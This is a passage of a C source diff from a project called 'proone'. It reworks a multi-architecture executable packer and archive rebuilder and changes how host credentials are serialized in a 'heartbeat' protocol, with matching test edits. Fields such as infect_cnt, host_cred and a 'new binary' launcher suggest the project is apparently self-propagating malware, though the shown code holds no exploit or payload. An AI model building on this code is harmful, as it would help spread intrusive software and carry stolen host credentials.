= NULL; + *size = 0; + + do { + if (*size - len == 0) { + *size += PAGESIZE; + *m = (uint8_t*)prne_realloc(*m, 1, *size); + prne_assert(*m != NULL); + } + + f_ret = prne_bin_rcb_read( + ctx, + *m + len, + *size - len, + &prc, + &err); + prne_assert(f_ret >= 0); + len += f_ret; + } while (prc != PRNE_PACK_RC_EOF); + + return len; +} + +static void do_test ( + const uint8_t *m, + const size_t len, + const archive_tuple_t *t, + const size_t depth) +{ + prne_bin_rcb_ctx_t ctx; + prne_bin_archive_t ba; + const size_t ofs_dv = + prne_salign_next(t->st.st_size, PRNE_BIN_ALIGNMENT) + // exec + 8; // appendix; + const size_t ofs_ba = + ofs_dv + + prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT); // dv + size_t out_size = 0, out_len; + uint8_t *m_out = NULL; + + if (depth > TEST_DEPTH) { + return; + } + + prne_assert(ofs_ba < len); + prne_assert(memcmp(m, t->m_exec, t->st.st_size) == 0); + prne_assert(memcmp(m + ofs_dv, m_dv, dv_len) == 0); + + prne_init_bin_archive(&ba); + prne_init_bin_rcb_ctx(&ctx); + prne_assert(prne_index_bin_archive( + m + ofs_ba, + len - ofs_ba, + &ba) == PRNE_PACK_RC_OK); + + fprintf(stderr, "%s\t\t", prne_arch_tostr(t->arch)); + for (size_t i = 0; i < ba.nb_bin; i += 1) { + fprintf(stderr, "%s\t", prne_arch_tostr(ba.bin[i].arch)); + } + fprintf(stderr, "\n"); + + for (size_t i = 0; i < archive_arr_cnt; i += 1) { + prne_assert(prne_start_bin_rcb( + &ctx, + archive_arr[i].arch, + t->arch, + m, + len, + t->st.st_size, + m_dv, + dv_len, + &ba) == PRNE_PACK_RC_OK); + out_len = do_read(&m_out, &out_size, &ctx); + + if (archive_arr[i].arch == t->arch) { + prne_assert(out_len == len && memcmp(m_out, m, len) == 0); + } + else { + do_test(m_out, out_len, &archive_arr[i], depth + 1); + } + } + + prne_free_bin_archive(&ba); + prne_free_bin_rcb_ctx(&ctx); + prne_free(m_out); +} + +static bool do_rcb (const char *prefix) { + prne_pack_rc_t prc; + bool ret = true; + prne_bin_rcb_ctx_t ctx; + prne_bin_archive_t ba; + uint8_t *m_out = NULL; + size_t out_size = 0, out_len = 0; + int fd = -1; + char *out_path = NULL; + const size_t prefix_len = strlen(prefix); + const char *arch_str; + + prne_init_bin_rcb_ctx(&ctx); + prne_init_bin_archive(&ba); + + out_path = prne_alloc_str( + prefix_len + strlen(".nybin")); + strcpy(out_path, prefix); + strcat(out_path, ".nybin"); + + prc = prne_index_bin_archive(m_ba, ba_len, &ba); + prne_assert(prc == PRNE_PACK_RC_OK); + + // TODO: dvault + nybin + fd = open(out_path, O_WRONLY | O_CREAT | O_TRUNC, 0755); + if (fd < 0 || write(fd, m_ba, ba_len) != (ssize_t)ba_len) { + perror(out_path); + ret = false; + goto END; + } + close(fd); + fd = -1; + + for (size_t i = 0; i < archive_arr_cnt; i += 1) { + arch_str = prne_arch_tostr(archive_arr[i].arch); + prne_assert(arch_str != NULL); + + prc = prne_start_bin_rcb( + &ctx, + archive_arr[i].arch, + PRNE_ARCH_NONE, + NULL, + 0, + 0, + m_dv, + dv_len, + &ba); + prne_assert(prc == PRNE_PACK_RC_OK); + out_len = do_read(&m_out, &out_size, &ctx); + + if (ENABLE_TEST) { + do_test(m_out, out_len, &archive_arr[i], 0); + } + + prne_free(out_path); + out_path = prne_alloc_str( + prefix_len + 1 + strlen(arch_str)); + strcpy(out_path, prefix); + strcat(out_path, "."); + strcat(out_path, arch_str); + + fd = open(out_path, O_WRONLY | O_CREAT | O_TRUNC, 0755); + if (fd < 0 || write(fd, m_out, out_len) != (ssize_t)out_len) { + perror(out_path); + ret = false; + goto END; + } + close(fd); + fd = -1; + } + +END: + prne_free(out_path); + prne_free(m_out); + prne_free_bin_rcb_ctx(&ctx); + prne_free_bin_archive(&ba); + prne_close(fd); + return ret; +} int main (const int argc, const char **args) { size_t i; archive_tuple_t *archive; const char *path, *ext; + const char *o_prefix; bool proc_result = true; prne_arch_t arch; int bin_fd = -1; - uint8_t head[4]; - int z_ret; + int z_ret, ret = 0; z_stream zs; - ssize_t io_ret; size_t out_len; - if (argc <= 1) { - fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", args[0]); - return 1; - } - // refuse to run if stdout is terminal - if (isatty(STDOUT_FILENO)) { - fprintf(stderr, "** Refusing to print on terminal.\n"); - return 1; - } - // too many files - if (argc - 1 > NB_PRNE_ARCH) { - fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PRNE_ARCH); - return 1; - } + PAGESIZE = prne_getpagesize(); // TODO: test - // init - prne_memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); - prne_memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH); prne_memzero(&zs, sizeof(z_stream)); - - if ((z_ret = deflateInit(&zs, Z_BEST_COMPRESSION)) != Z_OK) { + if ((z_ret = deflateInit(&zs, PRNE_PACK_Z_LEVEL)) != Z_OK) { report_zerror(z_ret, "deflateInit()"); abort(); } + if (argc < 3) { + fprintf( + stderr, + "Usage: %s <outfile prefix> <path to dvault> [path to binary 1 [path to binary ...]]\n", + args[0]); + ret = 2; + goto END; + } + o_prefix = args[1]; + + if (!load_dv(args[2], &m_dv, &dv_len)) { + perror("load_dv()"); + goto END; + } + // Check the file names are valid - for (i = 1; i < (size_t)argc; i += 1) { + for (i = 3; i < (size_t)argc; i += 1) { struct stat st; + if (archive_arr_cnt >= NB_PRNE_ARCH) { + fprintf( + stderr, + "** Too many files given (%d > %d).\n", + argc - 1, + NB_PRNE_ARCH); + ret = 2; + goto END; + } + path = args[i]; ext = strrchr(path, '.'); if (ext == NULL) { @@ -91,7 +316,11 @@ int main (const int argc, const char **args) { } if (encounter_arr[arch] != NULL) { - fprintf(stderr, "** Duplicate arch!\n%s\n%s\n", encounter_arr[arch]->path, path); + fprintf( + stderr, + "** Duplicate arch!\n%s\n%s\n", + encounter_arr[arch]->path, + path); proc_result = false; continue; } @@ -106,7 +335,7 @@ int main (const int argc, const char **args) { proc_result = false; continue; } - if (st.st_ino > 0x00FFFFFF) { + if (st.st_size > 0x00FFFFFF) { fprintf(stderr, "%s: file too large!\n", path); proc_result = false; continue; @@ -119,111 +348,120 @@ int main (const int argc, const char **args) { archive_arr_cnt += 1; } if (!proc_result) { + ret = 2; goto END; } + ba_len = ba_size = 4 + archive_arr_cnt * 4; + m_ba = (uint8_t*)prne_malloc(1, ba_size); + prne_assert(m_ba != NULL); + // write head - head[0] = (uint8_t)(archive_arr_cnt & 0x000000FF); - if (write(STDOUT_FILENO, head, 1) != 1) { - perror("write()"); - proc_result = false; - goto END; - } + m_ba[0] = (uint8_t)(archive_arr_cnt & 0xFF); + m_ba[1] = 0; + m_ba[2] = 0; + m_ba[3] = 0; + ba_len = 4; for (i = 0; i < archive_arr_cnt; i += 1) { archive = archive_arr + i; - head[0] = (uint8_t)archive->arch; - head[1] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x00FF0000) >> 16); - head[2] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x0000FF00) >> 8); - head[3] = (uint8_t)((uint_fast32_t)archive->st.st_size & 0x000000FF); - if (write(STDOUT_FILENO, head, 4) != 4) { - perror("write()"); - proc_result = false; - goto END; - break; - } + m_ba[ba_len + 0] = (uint8_t)archive->arch; + m_ba[ba_len + 1] = prne_getmsb32(archive->st.st_size, 1); + m_ba[ba_len + 2] = prne_getmsb32(archive->st.st_size, 2); + m_ba[ba_len + 3] = prne_getmsb32(archive->st.st_size, 3); + ba_len += 4; } - // write binary + // compress executables for (i = 0; i < archive_arr_cnt; i += 1) { archive = archive_arr + i; + archive->m_exec = prne_malloc(1, archive->st.st_size); + prne_assert(archive->m_exec != NULL); + bin_fd = open(archive->path, O_RDONLY); if (bin_fd < 0) { perror(archive->path); - proc_result = false; + ret = 1; goto END; } - while (true) { - io_ret = read(bin_fd, buf_in, sizeof(buf_in)); - if (io_ret == 0) { - break; + if (read( + bin_fd, + archive->m_exec, + archive->st.st_size) != (ssize_t)archive->st.st_size) + { + perror(archive->path); + ret = 1; + goto END; + } + close(bin_fd); + bin_fd = -1; + + zs.avail_in = archive->st.st_size; + zs.next_in = archive->m_exec; + + do { + if (ba_size - ba_len == 0) { + ba_size += PAGESIZE; + m_ba = (uint8_t*)prne_realloc(m_ba, 1, ba_size); + prne_assert(m_ba != NULL); } - if (io_ret < 0) { - perror(archive->path); - proc_result = false; + zs.avail_out = ba_size - ba_len; + zs.next_out = m_ba + ba_len; + out_len = zs.avail_out; + + z_ret = deflate(&zs, Z_NO_FLUSH); + switch (z_ret) { + case Z_BUF_ERROR: + case Z_OK: + break; + default: + report_zerror(z_ret, archive->path); + ret = 1; goto END; } - - zs.avail_in = io_ret; - zs.next_in = buf_in; - do { - zs.avail_out = sizeof(buf_out); - zs.next_out = buf_out; - z_ret = deflate(&zs, Z_NO_FLUSH); - switch (z_ret) { - case Z_BUF_ERROR: - case Z_OK: - break; - default: - report_zerror(z_ret, archive->path); - proc_result = false; - goto END; - } - out_len = sizeof(buf_out) - zs.avail_out; - - if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) { - perror("write()"); - proc_result = false; - goto END; - } - } while (zs.avail_out == 0); - } - - prne_close(bin_fd); - bin_fd = -1; + out_len -= zs.avail_out; + ba_len += out_len; + } while (zs.avail_in > 0); } - zs.next_in = NULL; - zs.avail_in = 0; - do { - zs.next_out = buf_out; - zs.avail_out = sizeof(buf_out); + while (z_ret != Z_STREAM_END) { + if (ba_size - ba_len == 0) { + ba_size += PAGESIZE; + m_ba = (uint8_t*)prne_realloc(m_ba, 1, ba_size); + prne_assert(m_ba != NULL); + } + zs.avail_out = ba_size - ba_len; + zs.next_out = m_ba + ba_len; + out_len = zs.avail_out; + z_ret = deflate(&zs, Z_FINISH); switch (z_ret) { - case Z_BUF_ERROR: case Z_STREAM_END: + case Z_BUF_ERROR: case Z_OK: break; default: report_zerror(z_ret, "finishing deflate()"); - proc_result = false; - break; + ret = 1; + goto END; } - out_len = sizeof(buf_out) - zs.avail_out; + out_len -= zs.avail_out; + ba_len += out_len; + } - if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) { - perror("write()"); - proc_result = false; - break; - } - } while (zs.avail_out == 0); + ret = do_rcb(o_prefix) ? 0 : 1; END: + prne_free(m_dv); + prne_free(m_ba); + for (size_t i = 0; i < archive_arr_cnt; i += 1) { + prne_free(archive_arr[i].m_exec); + } deflateEnd(&zs); prne_close(bin_fd); bin_fd = -1; - return proc_result ? 0 : 1; + return ret; } diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index e199d52..0816128 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -32,10 +32,8 @@ static void test_ser (void) { static prne_htbt_status_t s_a, s_b; static prne_host_cred_t hc_a, hc_b; static prne_htbt_hover_t hv_a, hv_b; - static uint8_t *cred_data = NULL; + static uint8_t cred_data[255]; static size_t cred_data_len = 0; - static char *encoded_cred_str = NULL; - static size_t encoded_cred_str_len = 0; static prne_htbt_host_info_t hi_a, hi_b; static prne_htbt_cmd_t cmd_a, cmd_b; static char *test_args[] = { @@ -70,7 +68,8 @@ static void test_ser (void) { }; static prne_htbt_bin_meta_t bm_a, bm_b; static const uint8_t prog_ver[] = PRNE_PROG_VER; - static const char CRED_STR_NORM[] = "qwertyuiop[]asdfghjkl;'zxcvbnm,./`1234567890-=~!@#$%^&*()_+|\\"; +#define CRED_STR "qwertyuiop[]asdfghjkl;'zxcvbnm,./`1234567890-=~!@#$%^&*()_+|\\" + static const char CRED_STR_NORM[] = CRED_STR; static const char CRED_STR_LONG[] = "012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789"; // free functions should accept NULL @@ -181,11 +180,9 @@ static void test_ser (void) { assert(prne_alloc_host_cred(&hc_a, strlen(CRED_STR_NORM), strlen(CRED_STR_NORM))); strcpy(hc_a.id, CRED_STR_NORM); strcpy(hc_a.pw, CRED_STR_NORM); - assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hc_a) == PRNE_HTBT_SER_RC_OK); - cred_data_len = proto_buf_cnt_len; - cred_data = (uint8_t*)prne_malloc(1, proto_buf_cnt_len); - memcpy(cred_data, proto_buf, proto_buf_cnt_len); - assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_enc_host_cred(cred_data, sizeof(cred_data), &cred_data_len, &hc_a) == PRNE_HTBT_SER_RC_OK); + assert(cred_data_len == sizeof(CRED_STR_NORM) * 2); + assert(prne_dec_host_cred(cred_data, cred_data_len, &hc_b) == PRNE_HTBT_SER_RC_OK); assert( strcmp(hc_b.id, CRED_STR_NORM) == 0 && strcmp(hc_b.pw, CRED_STR_NORM) == 0); @@ -193,12 +190,6 @@ static void test_ser (void) { prne_free_host_cred(&hc_a); prne_free_host_cred(&hc_b); - // Base64 encode the cred data - encoded_cred_str = prne_enc_base64_mem(cred_data, cred_data_len); - assert(encoded_cred_str != NULL); - encoded_cred_str_len = strlen(encoded_cred_str); - assert(encoded_cred_str_len < 256); - // host info prne_htbt_init_host_info(&hi_a); prne_htbt_init_host_info(&hi_b); @@ -210,14 +201,15 @@ static void test_ser (void) { hi_a.infect_cnt = 0xABBAABBAABBAABBA; hi_a.parent_pid = 0xDEADBEEF; hi_a.child_pid = 0xBABEBABE; - hi_a.host_cred = encoded_cred_str; + hi_a.host_cred = cred_data; + hi_a.host_cred_len = cred_data_len; memcpy(hi_a.prog_ver, prog_ver, sizeof(prog_ver)); memcpy(hi_a.boot_id, "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55", 16); memcpy(hi_a.instance_id, "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85", 16); hi_a.arch = prne_host_arch; assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK); assert( - proto_buf_cnt_len == 94 + encoded_cred_str_len && + proto_buf_cnt_len == 94 + cred_data_len && memcmp(proto_buf, prog_ver, 16) == 0 && memcmp( proto_buf + 16, @@ -231,12 +223,13 @@ static void test_ser (void) { "\xDE\xAD\xBE\xEF" // parent_pid "\xBA\xBE\xBA\xBE", // child_pid 76) == 0 && - (size_t)proto_buf[16 + 76] == encoded_cred_str_len && + (size_t)proto_buf[16 + 76] == cred_data_len && proto_buf[16 + 76 + 1] == (uint8_t)prne_host_arch && - memcmp(proto_buf + 16 + 76 + 1 + 1, encoded_cred_str, encoded_cred_str_len) == 0); + memcmp(proto_buf + 16 + 76 + 1 + 1, cred_data, cred_data_len) == 0); assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK); assert(prne_htbt_eq_host_info(&hi_a, &hi_b)); hi_a.host_cred = NULL; + hi_a.host_cred_len = 0; // with ownership of host_cred prne_htbt_alloc_host_info(&hi_a, cred_data_len); assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK); @@ -307,11 +300,4 @@ static void test_ser (void) { assert(prne_htbt_eq_hover(&hv_a, &hv_b)); prne_htbt_free_hover(&hv_a); prne_htbt_free_hover(&hv_b); - - prne_free(encoded_cred_str); - prne_free(cred_data); - encoded_cred_str = NULL; - encoded_cred_str_len = 0; - cred_data = NULL; - cred_data_len = 0; } diff --git a/src/proone.c b/src/proone.c index 35505f5..c39a60b 100644 --- a/src/proone.c +++ b/src/proone.c @@ -17,6 +17,7 @@ #include <elf.h> #include <mbedtls/sha256.h> +#include <mbedtls/base64.h> #include "config.h" #include "proone.h" @@ -214,11 +215,6 @@ static void setup_dvault (void) { prne_init_dvault(prne_g.m_dvault); } -static bool setup_binarch (const void *m) { - // TODO: Load bin arc - return false; -} - static void init_proone (const char *self) { int fd; #if PRNE_HOST_WORDSIZE == 64 @@ -277,18 +273,12 @@ static void init_proone (const char *self) { prne_g.dvault_size = (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 | (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0; - binarch_size = - (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 4] << 24 | - (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 5] << 16 | - (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 6] << 8 | - (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 7] << 0; - - dvault_ofs = prne_salign_next( - prne_g.exec_size + 8, - PRNE_BIN_ALIGNMENT); - binarch_ofs = prne_salign_next( - dvault_ofs + prne_g.dvault_size, + + dvault_ofs = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT) + 8; + binarch_ofs = dvault_ofs + prne_salign_next( + prne_g.dvault_size, PRNE_BIN_ALIGNMENT); + binarch_size = file_size - binarch_ofs; // Load dvault prne_assert(dvault_ofs + prne_g.dvault_size <= (size_t)file_size); @@ -296,10 +286,12 @@ static void init_proone (const char *self) { setup_dvault(); if (binarch_size > 0) { - prne_assert(binarch_ofs + binarch_size <= (size_t)file_size); - setup_binarch(prne_g.m_exec + binarch_ofs); + prne_g.bin_ready = prne_index_bin_archive( + prne_g.m_exec + binarch_ofs, + binarch_size, + &prne_g.bin_archive) == PRNE_PACK_RC_OK; } - else { + if (!prne_g.bin_ready) { prne_dbgpf("* This executable has no binary archive!\n"); } #undef ELF_EHDR_TYPE @@ -461,7 +453,7 @@ static bool format_shared_global (const int fd) { } static void skel_shared_global (struct prne_shared_global *skel) { - prne_memzero(skel, sizeof(skel)); + prne_memzero(skel, sizeof(struct prne_shared_global)); // Future code for new shared_global format goes here skel->rev = 0; } @@ -681,7 +673,13 @@ static void set_host_credential (const char *str) { return; } - strncpy(prne_s_g->host_cred_data, str, sizeof(prne_s_g->host_cred_data) - 1); + // TODO: test + mbedtls_base64_decode( + prne_s_g->host_cred_data, + sizeof(prne_s_g->host_cred_data), + &prne_s_g->host_cred_len, + (const unsigned char*)str, + strlen(str)); } static void run_ny_bin (void) { diff --git a/src/proone.h b/src/proone.h index 3906ba1..cbd1cd9 100644 --- a/src/proone.h +++ b/src/proone.h @@ -68,7 +68,8 @@ struct prne_shared_global { // null-terminated name of new binary char ny_bin_path[256]; char ny_bin_args[1024]; - char host_cred_data[256]; + size_t host_cred_len; + uint8_t host_cred_data[255]; }; diff --git a/src/protocol.c b/src/protocol.c index 2eba421..6045f5f 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -55,6 +55,10 @@ prne_arch_t prne_arch_fstr (const char *str) { return PRNE_ARCH_NONE; } +bool prne_arch_inrange (const prne_arch_t x) { + return PRNE_ARCH_NONE < x && x < NB_PRNE_ARCH; +} + void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) { memcpy(&out->sin_addr, ep->addr.addr, 4); out->sin_family = AF_INET; @@ -194,36 +198,26 @@ prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, pr } void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) { - hi->parent_uptime = 0; - hi->child_uptime = 0; - hi->bne_cnt = 0; - hi->infect_cnt = 0; - hi->parent_pid = 0; - hi->child_pid = 0; - prne_memzero(hi->prog_ver, 16); - prne_memzero(hi->boot_id, 16); - prne_memzero(hi->instance_id, 16); - hi->host_cred = NULL; - hi->crash_cnt = 0; + prne_memzero(hi, sizeof(prne_htbt_host_info_t)); hi->arch = PRNE_ARCH_NONE; } -bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_strlen) { +bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_len) { void *ny_mem; - if (cred_strlen > 255) { + if (cred_len > 255) { errno = EINVAL; return false; } - ny_mem = prne_alloc_str(cred_strlen); + ny_mem = prne_calloc(1, cred_len); if (ny_mem == NULL) { return false; } - prne_memzero(ny_mem, cred_strlen + 1); prne_free(hi->host_cred); - hi->host_cred = (char*)ny_mem; + hi->host_cred = (uint8_t*)ny_mem; + hi->host_cred_len = cred_len; return true; } @@ -233,6 +227,7 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi) { prne_free(hi->host_cred); hi->host_cred = NULL; + hi->host_cred_len = 0; } bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b) { @@ -244,10 +239,11 @@ bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_hos a->parent_pid == b->parent_pid && a->child_pid == b->child_pid && a->arch == b->arch && + a->host_cred_len == b->host_cred_len && memcmp(a->prog_ver, b->prog_ver, 16) == 0 && memcmp(a->boot_id, b->boot_id, 16) == 0 && memcmp(a->instance_id, b->instance_id, 16) == 0 && - prne_nstreq(a->host_cred, b->host_cred); + memcmp(a->host_cred, b->host_cred, a->host_cred_len) == 0; } void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) { @@ -480,14 +476,11 @@ prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, siz } prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in) { - const size_t host_cred_len = prne_nstrlen(in->host_cred); - - if (host_cred_len > 255) { + if (in->host_cred_len > 255) { return PRNE_HTBT_SER_RC_FMT_ERR; } - *actual = 94 + host_cred_len; - + *actual = 94 + in->host_cred_len; if (mem_len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } @@ -539,9 +532,9 @@ prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, mem[89] = prne_getmsb32(in->child_pid, 1); mem[90] = prne_getmsb32(in->child_pid, 2); mem[91] = prne_getmsb32(in->child_pid, 3); - mem[92] = (uint8_t)host_cred_len; + mem[92] = (uint8_t)in->host_cred_len; mem[93] = (uint8_t)in->arch; - memcpy(mem + 94, in->host_cred, host_cred_len); + memcpy(mem + 94, in->host_cred, in->host_cred_len); return PRNE_HTBT_SER_RC_OK; } @@ -648,7 +641,6 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t l size_t cred_size; *actual = 94; - if (len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } diff --git a/src/protocol.h b/src/protocol.h index 5f0d2c0..b0b964e 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -217,7 +217,8 @@ struct prne_htbt_host_info { uint8_t prog_ver[16]; uint8_t boot_id[16]; uint8_t instance_id[16]; - char *host_cred; + uint8_t *host_cred; + size_t host_cred_len; uint32_t crash_cnt; prne_arch_t arch; }; @@ -284,6 +285,7 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t const char *prne_arch_tostr (const prne_arch_t x); prne_arch_t prne_arch_fstr (const char *str); +bool prne_arch_inrange (const prne_arch_t x); void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out); void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out); @@ -306,7 +308,7 @@ prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t * prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out); void prne_htbt_init_host_info (prne_htbt_host_info_t *hi); -bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_strlen); +bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_len); void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); diff --git a/src/util_ct.h b/src/util_ct.h index ad8118f..a199b19 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -8,6 +8,7 @@ #endif #define PRNE_LIMIT_ENUM(t,x,l) _Static_assert((x) <= (l),"enum overflow: "#t) +#define prne_static_assert(expr, msg) _Static_assert((expr), msg) #define prne_op_min(a, b) ((a) < (b) ? (a) : (b)) #define prne_op_max(a, b) ((a) > (b) ? (a) : (b)) @@ -42,3 +43,8 @@ #define prne_dbgmast(expr, ...) #define prne_dbgtrap(expr) (expr) #endif + +#define prne_chk_assign(l, r) \ + if ((l) != NULL) {\ + *(l) = (r);\ + } |